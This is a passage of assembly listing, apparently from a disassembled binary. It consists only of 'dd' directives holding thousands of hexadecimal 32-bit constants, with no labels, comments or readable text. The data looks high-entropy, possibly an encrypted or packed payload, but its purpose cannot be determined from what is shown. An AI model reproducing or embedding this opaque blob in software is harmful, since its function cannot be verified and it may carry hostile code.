		dd 0B1E85719h, 0DF7A07C0h, 34C05B20h, 4CFD30F5h, 12DA6001h
		dd 6F5F71EAh, 4CFC6E58h, 5C36135Bh, 0C50789F9h,	0E9D4D0FCh
		dd 0F24C20F7h, 26C224Ah, 685A0A8Bh, 37A84BDAh, 9991CE2h
		dd 0E370282Fh, 7C971BBAh, 665F99EFh, 69A0D0E8h,	714856B5h
		dd 7E2975EEh, 2CC43BB2h, 2CCFFEDEh, 170EFF4Ah, 6C452EF7h
		dd 393E0C50h, 0E916461Eh, 0FD4EEEF1h, 43E8E4D0h, 0ED809DEAh
		dd 0F667854h, 947B322Dh, 13EB5A8Eh, 0A86BBFFh, 1EDC9D0Ch
		dd 0D51D9C2Eh, 26E9E565h, 125BD4Eh, 944A3D66h, 78A55A15h
		dd 66AF922Ch, 57E4D9C2h, 534576F9h, 0E60F8D0Bh,	1C5EC3BDh
		dd 0A6781A7Fh, 0D30847E5h, 2C4C87DFh, 0CFCD1200h, 9F34AECAh
		dd 0A2A88123h, 10116205h, 6809F78Bh, 2CF448EAh,	0EB0FD960h
		dd 2022B82Ah, 30073D46h, 0F98858E7h, 91B0AAA5h,	0B5CC3980h
		dd 15C9EC97h, 100F37Bh,	87B850C5h, 7C582F55h, 755580Fh
		dd 90E72D04h, 10EAD495h, 0ED02B82Dh, 621B2B61h,	8DC287Fh
		dd 0D2FF1C34h, 0F5855892h, 55A2EBD5h, 3B84FA4Eh, 97ECFCFAh
		dd 8F68BE2h, 6A84BE05h,	0EC50226h, 0FB254AB8h, 0E989D160h
		dd 2D26FBB5h, 7C370DD0h, 5174E565h, 4A12ECC2h, 0AFE5DD25h
		dd 9FB85AE9h, 720AA901h, 0DBAE60BAh, 58389841h,	37D92110h
		dd 1947127h, 0E73CA8C9h, 6EA1257Eh, 0BEE712E8h,	709A591Bh
		dd 40DFC294h, 0F60DB83Eh, 29661B18h, 849C44C2h,	0FA0B14CDh
		dd 0DA30A548h, 48B12D2Eh, 56D4AE2Fh, 0DD286286h, 479BBAE8h
		dd 14AD0499h, 20859B8Fh, 0A9C54FA7h, 57E91263h,	554C425Dh
		dd 388050D1h, 0AC5AD8C4h, 0B24119F6h, 0B9104521h, 31002819h
		dd 0E7C9811Fh, 166A3049h, 0EAC5C1E9h, 2AA84261h, 3FD9F701h
		dd 26E5FF04h, 6F98A812h, 59EC6599h, 529B6FFh, 0A726F6C7h
		dd 0A5D7C0EEh, 7A5F9C72h, 806D7A5h, 5E14801Ch, 0A4AF4AE9h
		dd 8200CF5Ch, 5653FC3Fh, 64DBABEh, 0F72144F8h, 9800425Eh
		dd 5E39C13h, 4CCD1770h,	742C234Ch, 0D8744B30h, 625FADBDh
		dd 0F8EA5C1Eh, 61533268h, 0B4E912C4h, 5AD3F391h, 1F47137Bh
		dd 2E667EBh, 0D7EC585Ah, 0E8D09387h, 68D4E600h,	3CC17249h
		dd 1CF303EEh, 31AE4483h, 0C045C78Ah, 0F50B8948h, 7F8BDDE9h
		dd 2ABF8045h, 594AE14Dh, 0E0D1DF17h, 0B001FC02h, 7516DCC2h
		dd 0B776C6BFh, 0C701E968h, 3FF9BDFEh, 3EB22277h, 0F797714h
		dd 276812ECh, 7A135F1Bh, 43C5FE4Ah, 0D24EB2BBh,	0BB53DD60h
		dd 0FC5B003Fh, 0A4C3B971h, 44B48E03h, 0F2DB4927h, 16E3EDACh
		dd 4909B2DEh, 0E2EE2F01h, 0F075D091h, 2FA9BEE6h, 7352BE77h
		dd 2C736AE9h, 0DA5A0892h, 28CFF825h, 82DB6CA1h,	0D096D5BDh
		dd 0D32EB8C2h, 2EBD889h, 102D7F7Dh, 9362DD01h, 41C6080Dh
		dd 7F92CEF3h, 81831098h, 1FE96051h, 0A7C7216h, 7BEEA501h
		dd 813139DCh, 8149B828h, 0E7CA3D78h, 222C8A5Ah,	0CF673014h
		dd 4F57BF30h, 16A0C53Dh, 0B540E10Eh, 3B321091h,	5C82829h
		dd 68590A07h, 92F67A1Dh, 5D66B09Eh, 0D9C0F7BEh,	0D7556530h
		dd 0E0C61222h, 4C17B5ECh, 57B10DB4h, 0F1EA8A04h, 907F6516h
		dd 0BD0214B4h, 1F594F9Dh, 2FC36A61h, 5F64AC8Ch,	40FCF57Dh
		dd 0DC4692CBh, 14CC494Ch, 841623CEh, 280B7CA2h,	0D1308502h
		dd 88D2E7DFh, 0C5936537h, 19781BFh, 2D5CF5CDh, 5EE327A4h
		dd 0F2E9EF04h, 40BFECE0h
		dd 714C2216h, 8CFE330Ah, 6804CD24h, 31EA1006h, 43D1BAEh
		dd 64678001h, 0D8F93028h, 0C91A7D32h, 0C9A73EECh, 0EA99BC21h
		dd 24374F48h, 0C1723177h, 0A66F5AA0h, 994F24C2h, 0FB12D0B9h
		dd 0D8D8B095h, 58082833h, 84924EBEh, 669A8154h,	636800D7h
		dd 22E72772h, 0C376AFFAh, 7847AF09h, 0C4EFA89h,	1E0912BDh
		dd 2602F10Ch, 2DE96032h, 0EE92C403h, 418BB785h,	2AFAEDFDh
		dd 6E7CBD75h, 55CE68E2h, 5017C7F1h, 7445A0h, 0BF25D72Fh
		dd 0DF051214h, 5D2C9890h, 9500024Fh, 89EA9BEEh,	0FBE916F8h
		dd 3724BE12h, 0B08836C4h, 21CD40E3h, 0D1902098h, 1711EA4Dh
		dd 87FE03E1h, 423A67CCh, 0B3E13BEEh, 50882EB0h,	0BD1D50DDh
		dd 88B0BCFBh, 4E325B04h, 0D0B56893h, 5A71FAE7h,	1051F322h
		dd 257D3E6Ch, 0B03BDE9Ah, 5DC3EBB0h, 0F43BE425h, 0D68B0C2Bh
		dd 8509C627h, 0DF6B7E6Ch, 70F489A9h, 0C62CE87h,	0D70024F4h
		dd 315EC56Ch, 4F10FA97h, 68B29CACh, 1B717325h, 800C282Ah
		dd 1011C4C9h, 0AED8AE57h, 0E5C0624Ch, 21E8F129h, 20E37466h
		dd 2E765FCh, 0C4D1405Ch, 318E2D07h, 0C4063FCh, 0B5C6381Fh
		dd 3055FFC2h, 88175FDAh, 691E09C5h, 0A9C91A07h,	0B1FBF9E2h
		dd 69367A66h, 538F4006h, 0D4C679E9h, 31300180h,	0D4E97B6Fh
		dd 15A4D39h, 5F5E5080h,	92903F56h, 763F6D08h, 9FE30C73h
		dd 68EC926Eh, 33B20B4Eh, 33F7D016h, 0DDF8518Bh,	1B505B0Ah
		dd 386132F8h, 4350C685h, 2A6840F8h, 5BF43437h, 0ADDE17A1h
		dd 0DF56CF2Eh, 0D7E9426Dh, 1087165h, 114826BAh,	165C3E02h
		dd 0D1604BD7h, 7D847867h, 0F51F303Dh, 0D1C0351Ah, 29459109h
		dd 28E4F4C7h, 2539EE5Ch, 0F6947E3Ah, 7D5209BDh,	9818B796h
		dd 0EF2EFD11h, 1B521CD0h, 44E94557h, 85E4B9D9h,	67FB736Dh
		dd 0BF4EA44Eh, 9CEEE613h, 7B0BBAC5h, 7C663C6Ah,	0A58739B8h
		dd 61B9E996h, 0D84FD30Fh, 0F6AB6062h, 82FCC64Bh, 870098E6h
		dd 15BE447h, 979168F7h,	0BB546F46h, 2AE7DF0Fh, 0E92D38FFh
		dd 946BC825h, 9844ECEh,	0BB99BF13h, 7CFD2AFAh, 5D3FE909h
		dd 2248ED7Fh, 2A5848D4h, 8B11EC5Bh, 5296B487h, 1012A954h
		dd 0FDC16462h, 0A2B48BBCh, 0C5595E75h, 0AB5C966Fh, 282A934h
		dd 7D68013Dh, 0EA9A7E3Ah, 9766E440h, 0B800C166h, 7F5D6056h
		dd 249FAEBEh, 8C8B80A2h, 0B62A05FAh, 0B551B902h, 0C1EE3095h
		dd 0B006A1E9h, 5C9C7EB5h, 549DEBF4h, 76775222h,	851FEA9Ch
		dd 9986413h, 3282DAF9h,	0FC404208h, 4C5E2307h, 280240A0h
		dd 168CD7CEh, 401EE9DAh, 32B6BE47h, 0C2BD2E6Fh,	5FAFC27Ch
		dd 0F9CAB24Bh, 754B9FF1h, 6968F65h, 0A73B75F1h,	2CC1CDB1h
		dd 0CE5F316Eh, 0CD81007Dh, 2D361DBDh, 0D5E5811Bh, 0F0346F5Dh
		dd 5513D1EDh, 40C306Dh,	13EA2FE6h, 0AB52798Bh, 0A2C22DA0h
		dd 0A259DF08h, 7700582Ch, 0E9359374h, 0A4625ADEh, 105DED6Dh
		dd 12EF5FF5h, 6D5010Bh,	6001616Ah, 2880B95Ch, 68660EE8h
		dd 0F4927D4Fh, 7A9FA6C8h, 0BACF4FCCh, 0F5466109h, 68E55CD0h
		dd 17E8D7A0h, 47A482E4h, 0B8AF5904h, 0CBE4C2C3h, 41A50FEh
		dd 14A586F6h, 0EBEE840Ah, 18EC1BD5h, 6850D82Dh,	62ADD39Fh
		dd 41707FE9h, 3D025FB1h, 4232AF23h, 87CA753Ch, 6CE90740h
		dd 9BE27FF9h, 0F0F97196h, 64F27F5Eh, 2289E9CBh,	322F335Ah
		dd 88FDD1CFh, 4A283F19h, 461D020Ch, 0F3915Eh, 0A372CC91h
		dd 0FEFABEE9h, 42522291h, 5421688Bh, 9652C159h,	31F7205h
		dd 0B568E4Bh, 0E08DFA63h, 0C1798174h, 0ED949888h, 0B7455D25h
		dd 5D3EFB0Bh, 0F0DD7339h, 7882349Fh, 0FCDB95F3h, 68C3D4EAh
		dd 6ECDA4C2h, 0A088B87Ah, 0B663A268h, 0D3296ED9h, 1C9D69E0h
		dd 3DC6E6BDh, 0D484525Eh, 0E862C85Bh, 209D2ECh,	20730407h
		dd 0C5CB40EFh, 0A1CFE07Ch, 0C2560165h, 0AD5752AEh, 0F0FA7182h
		dd 56C96596h, 59E98B95h, 0BDA24FF8h, 4BDE5BFFh,	25B7E5F5h
		dd 605B0ECCh, 0C6304C03h, 0F2BB8558h, 59A5C711h, 0F44808h
		dd 2BB242BEh, 0BD187ABAh, 0B98CD44Dh, 22540D3Ah, 668DA01h
		dd 0FA25CE08h, 48BF4451h, 0EE3FF159h, 961C497h,	5910DAD2h
		dd 719DBB46h, 92C9CFB2h, 2F5D76E1h, 51365CCBh, 5AB57C47h
		dd 59A49515h, 0B45BEAA0h, 0B538D1E3h, 94F36980h, 210FA43Ch
		dd 0F1EC02BDh, 89BAC577h, 0E4F74BFDh, 515D2098h, 13E6BA00h
		dd 0E2813519h, 8E6D1878h, 3D89866Bh, 1198DA79h,	0F825314Bh
		dd 85A89883h, 99E1478Dh, 0B5686B84h, 382F9D69h,	0CFE9A1EEh
		dd 4F31DE51h, 68097032h, 0E6795114h, 0A17DF683h, 0F5F7DB57h
		dd 309CEBBh, 2A2777C1h,	0F0C9E007h, 0A522C4Ch, 25AE06Ch
		dd 212427F2h, 0E90297D1h, 8E2C7F2Dh, 2818DEE5h,	98E0D38Ch
		dd 1D8B0053h, 0BD553B43h, 7C4A1851h, 9B046CFCh,	0F82AAA74h
		dd 71E5031Dh, 28BF1Ch, 0D817701Ch, 5DEE0953h, 0F84565Ah
		dd 0F5B799BBh, 41C8E8ADh, 879E9CB0h, 98FE3316h,	723BBE9Fh
		dd 0E97C0225h, 56FF5026h, 0F98741B9h, 4EEC7FFEh, 8F3BEBF4h
		dd 0DBFEE90Dh, 0AF3B4Eh, 55EC2D41h, 0E8EB1BD7h,	445E7B2Eh
		dd 74169BCh, 7C118CD6h,	65491358h, 8004FE24h, 4783DBF7h
		dd 7894B18Fh, 2C31770h,	0EC390B89h, 0E9EA7BE9h,	84D44775h
		dd 0B99F4EE9h, 624A27E8h, 0DFBC8B36h, 2959A2C0h, 9DB27697h
		dd 0EF10A704h, 7B9F90D3h, 0BF0F8401h, 0CC6EC2C8h, 69265E77h
		dd 0F4E99E68h, 571DEE9Eh, 0AFE46E8Ah, 715BF82h,	0EFD540C8h
		dd 8EBB137Bh, 0E3878014h, 242544EEh, 4A9CC021h,	0B62583D2h
		dd 7DB98FA1h, 4FE4C6D6h, 4641744h, 12BCE4DEh, 51CC960h
		dd 75A030B5h, 619B3B6Ah, 262D0301h, 7E6D0914h, 7C07A210h
		dd 1B0511AAh, 42D8BB5Bh, 0F511B561h, 6A802E9Ch,	89B652h
		dd 0F680C6FEh, 71EAE9F0h, 9D0BC4A4h, 800DC022h,	57AD8E8Eh
		dd 4A429D19h, 70DDD8CAh, 91B949E1h, 0FBB86812h,	0DB800E37h
		dd 0BE219F07h, 20FCA1Bh, 1FE8E982h, 0FF6CD582h,	0C68540Ch
		dd 7E2C026Bh, 0AD4BE965h, 0CE300703h, 78BE2059h, 0D3E5077Eh
		dd 0C564A9F4h, 87E6A05Fh, 29E08613h, 1145ECBCh,	49F117C1h
		dd 0F7C8F464h, 0D36818D9h, 3B122565h, 2E470980h, 0B275581Ch
		dd 78FFBB74h, 5D89FCFh,	70EB0500h, 0D02945ABh, 6507A22Dh
		dd 560BAF3Bh, 58C3295Eh, 355603EDh, 10626C5Ah, 22A0BEA5h
		dd 0FE73D246h, 0B664E1E4h, 0C17627E5h, 5A524A30h, 510A4C9Ch
		dd 0CB456105h, 0CAB9E103h, 0D5EDBBE3h, 39DAEF8Eh, 3F0AA14Eh
		dd 0E9C26FF8h, 0DCD9E0B0h, 929F7127h, 7602AC7Fh, 86AFEB4Bh
		dd 2F090CB9h, 553AD41Fh, 2083EA8h, 0FEDC2EE9h, 80899055h
		dd 0FB0A73C9h, 0E4D1F6E8h, 1FE1F4D9h, 49B05014h, 167DC130h
		dd 7514C28h, 873BD120h,	2233A5CBh, 615EC9EFh, 0EB407CD0h
		dd 0C4EB274Ah, 0FC1F5F30h, 7E72A220h, 0BC5C122Bh, 0D3B84AA0h
		dd 6568E4D8h, 7AFF2E7Eh, 2608AE10h, 6644975Dh, 0AF2A1AC9h
		dd 95BA3627h, 4BDDD0AFh, 5CC8B02Bh, 60AE2EFFh, 28E8B999h
		dd 495B8D2Fh, 25ECF11Ah, 0B04E5E7Bh, 493EBDD5h,	770D7F74h
		dd 2429E037h, 9C107FDh,	60B6A17Ah, 25F8B05h, 0B3C707ADh
		dd 0CCD70B11h, 5DBE2428h, 872C0134h, 84D2F7D6h,	2BE0E908h
		dd 0B28165E8h, 0F0D3288Bh, 18C2B7C8h, 5F01EB83h, 0DBC3A7A0h
		dd 7B088A14h, 3DA224E9h, 9A42F683h, 9ED88567h, 739FFEF2h
		dd 31E941C5h, 0B52280FCh, 80DDF6D8h, 2D337CEDh,	7BE89FF2h
		dd 73014E4Bh, 0B818BE63h
		dd 0A12FBFFBh, 506F53CDh, 295B2404h, 1FF10BCh, 37EF356Bh
		dd 0D22DD060h, 1FBE6401h, 5828AF25h, 5009807Eh,	0EA9D88E9h
		dd 3A7177CFh, 5AB5852h,	2B1F5468h, 3B0BAC27h, 615103C6h
		dd 4EFC1h, 783B5312h, 0E9FD89F7h, 1F242126h, 200E78A5h
		dd 60F9388Bh, 78736802h, 0C2BD30A8h, 0FB7FD87Eh, 0D333952Eh
		dd 0C52ECC59h, 0CB4BF97Bh, 259D5CB5h, 8BBFC777h, 6144359Ah
		dd 0D4BFB47Eh, 2858407Ch, 0D467E9C8h, 323764B1h, 8BC30982h
		dd 0C5ECF9D0h, 5C6392F2h, 2295D344h, 11AD3C3h, 70C090B3h
		dd 0F32F8000h, 18115DC2h, 2BB7E9E9h, 62C7D64Eh,	0A20DFA22h
		dd 60CB2AACh, 379FE72Eh, 6119F94Dh, 2F13A9D6h, 73FDFA10h
		dd 227E4C00h, 301A0C05h, 96E91569h, 0F20E9E2Eh,	6FCFA9E0h
		dd 0E8D0DC65h, 10CC94C5h, 0BA02BE6Eh, 54EC3D32h, 7CE0F8E1h
		dd 0B8B1400Ch, 27CD3513h, 619CB100h, 9D093FBEh,	8231B1E0h
		dd 2B67AD81h, 3D411E3Bh, 231C9F9Fh, 4B96DA2Fh, 302ECD99h
		dd 481A7A1h, 0D118A06Ah, 6961A850h, 1F171C1Dh, 0F59FEA81h
		dd 3AAC01h, 685653BDh, 41715812h, 0F671CB98h, 0F827192Fh
		dd 0D5820490h, 168916D1h, 0D604C40Ch, 87721D0Ch, 0D70CBE2Bh
		dd 0EDF8B4CCh, 4AA98C4Dh, 417755F9h, 65938CDh, 4A369747h
		dd 19850988h, 75740D17h, 5E62F309h, 3FED515Ah, 645C7F62h
		dd 0D8B2828Fh, 0D3292DEDh, 240BA7Dh, 0DB5B06AFh, 6E880876h
		dd 5BF10B5h, 9415709Dh,	3094FB84h, 0A89025F2h, 81807510h
		dd 0F3EBDEF8h, 0EC7EF728h, 0D844BD6Eh, 0DDBF5350h, 13CAB980h
		dd 182C4E5h, 9F596AC5h,	0F80C8165h, 176C902h, 8DC1F2F3h
		dd 14070C08h, 21A4BD3h,	0EE13EB77h, 0F87DDEF2h,	66892EF8h
		dd 52DA8B9Ah, 373E9E66h, 0F904DBF6h, 0A8F970BEh, 8AB0ECD7h
		dd 94E2918Dh, 0D3EE750Ch, 0DB939380h, 28D15E80h, 81CDC1E5h
		dd 0D121A4D6h, 0E1C1EF44h, 466B27C0h, 9480646h,	2BBC0095h
		dd 1518F028h, 8E34DAE9h, 5AADF95Ah, 6CF9FDB5h, 6429E970h
		dd 0A08F114Ch, 0C83D01C2h, 0F1188905h, 0EEBC081Ah, 7CF85E96h
		dd 0AD79FAB4h, 4CA6034h, 0E919FE2Ch, 6B12EB20h,	0DBA528AFh
		dd 587E3FB2h, 585BFC95h, 68015152h, 1767419Dh, 0C605359h
		dd 4904003h, 0EE788BA1h, 0D8E68103h, 90476616h,	2F3570AEh
		dd 705832F8h, 1A9749Fh,	0F27C33EAh, 7D942F18h, 0D41C0818h
		dd 79F82816h, 0E3524EDEh, 5F089273h, 0B8291666h, 2FED00A9h
		dd 171BE21h, 0DDCA2D5h,	0D260D508h, 75848267h, 773E804h
		dd 73488FBBh, 0AB5A7DA9h, 72F41F2h, 171C6076h, 80D495EAh
		dd 9C3AC740h, 98C1A022h, 43C80067h, 8705E6C1h, 6D641CEh
		dd 10769000h, 29E96433h, 6B63A184h, 0B257B055h,	81885966h
		dd 0B18B092Fh, 12C2ACEh, 22101CF7h, 7C129248h, 0FD4D8D67h
		dd 3B012E57h, 0B632C80Dh, 4DF46371h, 0FEA04E41h, 926C088Dh
		dd 0BCE28101h, 2A19C825h, 0A3F28A4Eh, 1351FC7h,	30B69E8h
		dd 29F5016Fh, 8FC5878Dh, 0A52D5572h, 81AEDBBh, 0B1C090Ch
		dd 803D507Eh, 0B4EEFD5h, 143621Ch, 804FFE2h, 91AF5Dh, 0BE040390h
		dd 4D218B8h, 0EE1966E4h, 64A85D8h, 0BD0CF86Bh, 0E91A0B4Eh
		dd 8240C6E7h, 0E4752CC8h, 1B65A1F6h, 0AC72136Fh, 0F22FADB4h
		dd 0BE9133Bh, 0EF6A12AEh, 0EFEA3ADCh, 60DFF701h, 5B2C4EB7h
		dd 0C102C628h, 0C1A854C9h, 46AB8F7h, 0BA8D6896h, 0BD27C6F9h
		dd 0E320B55Ah, 0BA36D270h, 3CEC2C85h, 0AE732D2Fh, 0E12F9CACh
		dd 8207EF93h, 0D45552E6h, 0CA8BF9F2h, 76615655h, 74A1D65Ah
		dd 0A54DA93Fh, 0BCAFCB94h, 2DBB5F25h, 17BA3D02h, 31BEA57Fh
		dd 48C3D8FCh, 83B6F381h, 8833B704h, 0BA4C66A9h,	38B4CC5Fh
		dd 0A79CC13Dh, 9018918h, 0CDE580D5h, 48B22878h,	0AF020B37h
		dd 92F657Fh, 3309355Ch,	0B37B5742h, 94E43D2Ch, 805985D0h
		dd 285209EAh, 60825AD0h, 0C861AE04h, 0A805003Eh, 10E20520h
		dd 12DE801h, 6BE95D07h,	745DC20Dh, 0B95C5AB7h, 68BDF28Ch
		dd 992905Ch, 64E3B6D4h,	7AF04401h, 0AE7CDABAh, 2B400C12h
		dd 0E5539FBEh, 97F59AAFh, 5694FEFEh, 26B432D0h,	6877E85Bh
		dd 0DE6C544Fh, 0E3CB4A22h, 5C5F72DAh, 920727EFh, 495AC21Bh
		dd 0EFB0AA09h, 6C98D7DBh, 58825627h, 9A5EBDD6h,	0F63BE621h
		dd 37D82880h, 5B6B151h,	7B35EA04h, 64D00984h, 1E8F480h
		dd 8658E508h, 42DAF6D5h, 66F52BE3h, 1B8F09D2h, 92D5FA1Eh
		dd 2CC4021Dh, 0B0A06515h, 0BFB25278h, 8EAC014h,	0D941DCh
		dd 516A2CDCh, 0C8C23A94h, 231056Ch, 550B68A1h, 0C68D99DFh
		dd 616FC9E9h, 7F7014h, 2C60055Fh, 1CCECD26h, 833F204Bh
		dd 0EF56B2EEh, 1AFD605Eh, 3E0B2D51h, 0B307AA44h, 59EB3087h
		dd 239562A4h, 0BCEA0831h, 0D4F7376Ah, 0D7F707B9h, 75EF11F2h
		dd 0EEDEAC3Ah, 31C85B88h, 2B63BBCCh, 50C069F8h,	0B3430BB8h
		dd 0E9407D06h, 0FB7B9E6Dh, 126A93DDh, 9FAD303Eh, 0D9A01177h
		dd 0C6BD5146h, 35B2517h, 6F5696B9h, 0BAA80EBCh,	1195D34Eh
		dd 8144D4AAh, 9DBBAF6Ah, 5ACBE87Fh, 72F0DC82h, 0F9D79784h
		dd 0A2AEA4E1h, 1D8CD3A5h, 850EA268h, 75A04C9Ah,	1503B595h
		dd 8B97DD89h, 0BD40C1C8h, 0F003C299h, 6494C22h,	1C66450Ch
		dd 0D876DE58h, 0EA0C1F2Dh, 59080592h, 0FFC55780h, 16F5F84Dh
		dd 0B5121F1h, 0DF5CDB7Fh, 762FF426h, 705EDA7Dh,	0F6267689h
		dd 2E6C86Dh, 3BB31AD0h,	3E62241h, 3882D5F7h, 8D845745h
		dd 0C60DD129h, 8E176058h, 58E56D3Fh, 0BB44C4Ch,	60610C44h
		dd 749EB2C1h, 3901417Bh, 845526D4h, 0D75F2219h,	9056FDF0h
		dd 577B096Bh, 1E027FA6h, 0E7FF1C32h, 5CABA609h,	50A21A9Fh
		dd 17075E51h, 2CA4C455h, 7B4DE9F2h, 5E225CE0h, 0E9E370AFh
		dd 0DEA821C4h, 1804D8F7h, 0F82950CBh, 0C282B8BEh, 0E430428Fh
		dd 0C3F52782h, 682D746Eh, 0E9080138h, 21A8BDADh, 73783810h
		dd 40596F90h, 89395707h, 0F6A451CFh, 0CE2D9A44h, 821A75B5h
		dd 0BEC4C184h, 0E20684DDh, 75A9804h, 7F2B32E6h,	0BDB1FAE9h
		dd 885FE104h, 23A1804Ch, 0B34A77A0h, 0E957FDC0h, 901E9ABCh
		dd 0C28012A6h, 0F521915Ah, 0C8BB03A8h, 62EA064h, 0D28C5DBEh
		dd 1A5C4C4Eh, 522C2752h, 0D8088379h, 95195268h,	0ACFD211Ah
		dd 6A02822h, 29406515h,	88248CEh, 0E1C38D57h, 0D3BA80D4h
		dd 0D19DB998h, 0F7682ABBh, 9B0F23B9h, 77EB0B73h, 715F7F89h
		dd 0E931CCF0h, 5C53A5Ah, 0C956CAAFh, 0F4BEF75Ch, 0BB90208Eh
		dd 4A538840h, 5481EABBh, 0AA60DF29h, 6801817Ch,	147B124Eh
		dd 2372DEEh, 29709DCFh,	8F1C7595h, 2AAA6813h, 0E90D43B7h
		dd 3A382C01h, 424200BFh, 3A97F281h, 36CA13Bh, 779FCCAh
		dd 0FA180C1Eh, 0D12C3F7Bh, 2D9CD797h, 501EDC9Dh, 0AD9B20AEh
		dd 0F091983Ch, 0F1CD6812h, 0F4DA8552h, 4C7F2789h, 17EDFB53h
		dd 163A206Bh, 2259BA5Eh, 4BCE03E4h, 0C42E9769h,	2B153090h
		dd 35325C1Dh, 0AEB0200h, 9DE4E9CEh, 54B19AB6h, 8C3F7F6Bh
		dd 0F1413DE2h, 13D4C321h, 4C4E3E72h, 0CE773712h, 44FA4B90h
		dd 81B93EE8h, 2F545333h, 6C81BD21h, 3F8CF37Ah, 0B2772C52h
		dd 811A77A4h, 0F508200Dh, 5A8F4BE3h, 0E980C81Ch, 9F07AB4Bh
		dd 9AD9BC68h, 0CE964055h, 1358E621h, 0F46A3CE9h, 2EB138BEh
		dd 43FAEB12h, 0C2315F2Ch, 0F90B88F3h, 0D5E36855h, 0B80720C4h
		dd 6DC44FDAh, 5FDE6489h, 979C14Ch, 6B92DDCBh, 0C0BD9401h
		dd 0A541676Ah
		dd 317BD450h, 7B51351Ah, 0B0FC4075h, 25E26809h,	0C408F831h
		dd 83484E59h, 0B6337246h, 807A615Bh, 0B10937C0h, 0DE038B9Ah
		dd 395743ABh, 2DB30CEh,	7D70EDF3h, 0C1436307h, 524BCDD0h
		dd 0B50558B7h, 0B3609AEAh, 3A5B285Fh, 841EBE9h,	0FEB44B38h
		dd 0AFD11061h, 4A786773h, 3F21B1ACh, 0C4104FCBh, 5BC44E81h
		dd 24ABDEEBh, 46026E5Ch, 417E4A41h, 0B800027Ah,	59001A19h
		dd 0B72D4857h, 0B866C931h, 0DD07E5F9h, 790241B5h, 0A5D03D2h
		dd 9B1E054Ch, 88F60084h, 0C1012645h, 1208E630h,	48077F48h
		dd 0A42EA131h, 517D0028h, 0DFFEE868h, 5A59FD3Fh, 0D84E0CC1h
		dd 0B7CA5307h, 0A9E2FEFCh, 8969039h, 0F682FB6Fh, 2F15DEA0h
		dd 9EFCF8CCh, 41EE4E49h, 238B60C4h, 1ED36497h, 0C8E23007h
		dd 5A1C462Fh, 5C58E70Bh, 29A508AAh, 0BAC15F1Dh,	62B572FDh
		dd 0A9CB58F0h, 21E8BFBDh, 1274C17Ah, 60735A18h,	4A27E91Bh
		dd 0B6C5A6EDh, 22549F75h, 525AD60Dh, 5882AC3Fh,	12482077h
		dd 0AC22E168h, 2F25C036h, 24E96029h, 6477D616h,	0A0B1EF68h
		dd 136BC5F5h, 0B110A2A8h, 13FC0E9h, 0C56858B5h,	0C6CF6A1Eh
		dd 5AA28A4Bh, 9CFF3CBFh, 4F44C44Dh, 51652CBBh, 5AFC569Fh
		dd 0E1392002h, 0CB23F955h, 9252C5DDh, 40CCFB9Dh, 0BC6A4A11h
		dd 0A69C4FEh, 7FF329AFh, 9B80FBB9h, 4E3A5E14h, 0CE00E29Ah
		dd 4031011Bh, 0D0C1C6E9h, 666756D4h, 3456FDEBh,	0DC69C594h
		dd 0BB0FC822h, 0AA635D26h, 8559FC5Bh, 32BFFEB3h, 0B8EA7365h
		dd 6B26F3FFh, 0D2F41C55h, 0F8B3FB0Dh, 52D0E983h, 0F9316C13h
		dd 0F4A05F17h, 0E6D1274Eh, 4202157Ch, 4012F44Bh, 5CBD6C5h
		dd 98E9A66Fh, 0B2B2AAC3h, 0C8BE0F0Fh, 16CFBA84h, 60A3CCE0h
		dd 32E1BBFEh, 94E8877h,	186AC4E4h, 1163730Dh, 68A4CC1h
		dd 0BD453A86h, 0DF0AAF41h, 35FBA539h, 0C4C708DFh, 5EBC181h
		dd 9576FA38h, 0A530A6C6h, 61687CB8h, 0D49A9D0Eh, 0D45F11D7h
		dd 13C6167Eh, 749F965h,	0F468E829h, 20B54679h, 0D497D3A3h
		dd 0EB8B3931h, 60D5AA90h, 9D088B31h, 0C363D95Ch, 2D5C27D9h
		dd 0CF209CE4h, 8F2C50F3h, 18EB6120h, 0CFA5E380h, 0DA086FF0h
		dd 3941AFA1h, 2E0C2088h, 529BB2C4h, 98EC46DFh, 66DF03B1h
		dd 0EDC1592Bh, 0C78652EAh, 26FC70BEh, 742581B0h, 496E5E21h
		dd 0E971F23Ch, 2499B49h, 315EF729h, 0F0CDC1FEh,	0DCF4FBDBh
		dd 2160B7AAh, 0B50A0B19h, 5D12E371h, 9FFD27AAh,	241024FEh
		dd 791209D9h, 308202DEh, 0DCA670ECh, 0F4F02D20h, 0F9106A30h
		dd 5A50A2C9h, 0C68F8C5h, 0CE02689h, 1B823EC1h, 22B71A4h
		dd 2925247Fh, 456795C0h, 68663A04h, 9AA84D27h, 0FFB8B1C4h
		dd 0E3AC039h, 820222Eh,	0CE27E920h, 0CACCD782h,	75B77A6Bh
		dd 0A89376E5h, 5A5856C0h, 0C5C07368h, 0EC0C9737h, 0FEFC9353h
		dd 99F0812Dh, 3DB3050Ch, 40A74029h, 0F59D5B68h,	6CBD4D9Ch
		dd 46012084h, 0B33BF4C1h, 0AC2A29E0h, 0C8F20255h, 0D7793E4Ah
		dd 0B403D362h, 419211B6h, 72974D46h, 0DD87A78h,	63FE3251h
		dd 0DE78E015h, 0FC696D27h, 89C624AAh, 0DC513DE9h, 52A07E49h
		dd 0E9855045h, 8F5D76FBh, 0B15FE689h, 5965F775h, 0A7D286EEh
		dd 0A9F50663h, 0C6BFD68h, 50BD23F6h, 0CEED04B4h, 0FBE6E54Eh
		dd 14CC49B1h, 0A5A302B5h, 68E9DE89h, 6A2D8049h,	0DC13FFB2h
		dd 0F632FB4Ah, 2D5BD0FEh, 1719D968h, 0A2327057h, 1EC46601h
		dd 9AE95359h, 0BBA70D7Eh, 0CE80C2E7h, 4E5E6B88h, 84D30134h
		dd 0FB680802h, 8FEAF46h, 0CB290E32h, 9FABFCE9h,	0D8F25B74h
		dd 3AE913E6h, 78CEE2B4h, 2BDBE32Dh, 276BF5D9h, 5A1E0E50h
		dd 3CD0F680h, 729AAC0Ch, 2B773ECFh, 6DE45F87h, 0E9748F67h
		dd 0DC3A29EBh, 5E9D00F8h, 99B934BFh, 6310BC9h, 206229DAh
		dd 6819B4D4h, 8EDF78AAh, 645ABE3Ch, 0AB2BBEEh, 4E1DA810h
		dd 50241AE8h, 4FA207A8h, 48B82080h, 3298601Fh, 504A690h
		dd 114260Dh, 3B394990h,	4EE9E237h, 0FE45C1E4h, 0F5AA42C4h
		dd 0AF2D6600h, 5A42F233h, 85FFA9CCh, 0B54503B5h, 90848754h
		dd 470812ABh, 0CC1B3C38h, 744AE966h, 74011E13h,	0ADFC164h
